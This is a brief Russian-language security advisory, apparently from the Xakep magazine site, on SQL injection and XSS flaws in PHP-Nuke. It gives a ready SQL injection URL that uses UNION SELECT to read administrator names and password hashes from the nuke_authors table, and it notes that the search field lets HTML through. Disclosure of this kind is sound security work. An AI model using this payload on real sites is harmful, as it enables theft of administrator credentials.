Несколько уязвимостей в PHP-Nuke

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Лучшие статьи квартала на бумаге

2 000 ₽
Заказать журнал
Годовая подписка на Xakep.ru

Полный доступ к статьям и архиву выпусков

6 000 ₽ в год
Подписаться
«Пентест WEB» для начинающих

Совместный курс «Хакера» и лаборатории «Хаксет»

7 000 ₽
Купить курс
Спецвыпуск «Хакера» #4

Лучшие статьи за 2021–2022 годы на бумаге

2 000 ₽
Заказать журнал

Рекомендуем почитать:

Хакер #327. Doom.ttf

Программа: PHP-Nuke

Несколько уязвимостей в PHP-Nuke позволяют удаленному пользователю выполнить SQL команды и XSS нападение.

1. SQL инъекция:

http://localhost/nuke73/modules.php?name= Search&type=comments&query=not123exist
s&instory=/**/UNION/**/SELECT/**/ 0,0,pwd,0,aid/**/FROM/** /nuke_authors

2. /modules/Search/index.php не фильтрует HTML код в поле поиска.

Продукты «Хакера»

Ежеквартальный «Хакер» #3

Годовая подписка на Xakep.ru

«Пентест WEB» для начинающих

Спецвыпуск «Хакера» #4

Хакер #327. Doom.ttf

Подпишись на наc в Telegram!